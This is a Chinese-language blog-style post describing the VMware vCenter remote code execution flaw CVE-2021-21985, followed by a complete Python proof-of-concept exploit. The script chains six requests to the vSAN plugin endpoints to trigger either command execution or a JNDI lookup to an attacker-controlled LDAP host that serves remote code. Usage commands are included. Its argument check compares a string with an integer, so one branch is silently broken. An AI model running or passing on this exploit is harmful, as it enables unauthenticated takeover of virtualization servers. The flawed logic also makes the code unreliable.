写在前面

原本我是不喜欢写web的PoC的，本着能直接复制到burp里就复制到burp里，burp中慢慢调试可以绕waf可以慢慢调试，python还要开个代理去拦截数据包，还挺麻烦的。但是这个漏洞也太麻烦了，一共要发6个包，只好写个PoC出来搞搞。

漏洞介绍

vCenter Server是VMware公司的一种服务器管理解决方案，可帮助IT管理员通过单个控制台管理企业环境中的虚拟机和虚拟化主机。
vCenter Server远程代码执行漏洞（CVE-2021-21985）存在于vSphere Client（HTML5）中，由于vCenter Server中默认启用的Virtual SAN Health Check插件缺乏输入验证，拥有443端口网络访问权限的攻击者可以利用此漏洞在承载vCenter Server的操作系统上远程执行任意命令。
需要注意的是，Virtual SAN Health Check插件在所有vCenter Server中都默认启用，任何能够通过网络访问vCenter Server的未经身份验证的攻击者都可以利用这个漏洞，而无论是否使用vSAN，并且该漏洞无需用户交互即可远程利用。

import requests
import json
import sys

#python CVE-2021-21985.py https://test.com/ xx.dnslog.cn 2

url = sys.argv[1]
dns = sys.argv[2]
exp = sys.argv[3]

header = {'Content-Type':'application/json','User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0'}
cookie = {}
requests.packages.urllib3.disable_warnings()

def step1(url):
    urls = url+'/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVsanServiceFactory/setTargetObject'
    data = {"methodInput":[None]}
    r = requests.post(url=urls,data=json.dumps(data),headers=header,cookies=cookie,verify=False)
    if r.text == '{"result":null}':
        print('step1 success')
        step2(url,exp)
    else :
        print('step1 error')

def step2(url,exp):
    urls = url+'/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod'
    data = {"methodInput":["java.lang.ProcessImpl.start"]} if exp == 1  else {"methodInput":["javax.naming.InitialContext.doLookup"]}
    r = requests.post(url=urls,data=json.dumps(data),headers=header,cookies=cookie,verify=False)
    if r.text == '{"result":null}':
        print('step2 success')
        step3(url,exp)
    else :
        print('step2 error')

def step3(url,exp):
    urls = url+'/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod'
    data = {"methodInput":["start"]} if exp == 1 else {"methodInput":["doLookup"]}
    r = requests.post(url=urls,data=json.dumps(data),headers=header,cookies=cookie,verify=False)
    if r.text == '{"result":null}':
        print('step3 success')
        step4(url,dns,exp)
    else :
        print('step3 error')

def step4(url,dns,exp):
    urls = url+'/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments'
    data = {"methodInput":[[["ping",dns],None,".",None,True]]} if exp == 1 else {"methodInput":[["ldap://"+dns+":1389/Exploit"]]}
    r = requests.post(url=urls,data=json.dumps(data),headers=header,cookies=cookie,verify=False)
    if r.text == '{"result":null}':
        print('step4 success')
        step5(url)
    else :
        print('step4 error')

def step5(url):
    urls = url+'/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare'
    data = {"methodInput":[]}
    r = requests.post(url=urls,data=json.dumps(data),headers=header,cookies=cookie,verify=False)
    if r.text == '{"result":null}':
        print('step5 success')
        step6(url)
    else :
        print('step5 error')

def step6(url):
    urls = url+'/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke'
    data = {"methodInput":[]}
    r = requests.post(url=urls,data=json.dumps(data),headers=header,cookies=cookie,verify=False,timeout=5)
    print('step6 success')

step1(url)

有两个exp，一个命令执行一个jndi，所以多了个入参。

python CVE-2021-21985.py https://test.com/ xx.dnslog.cn 1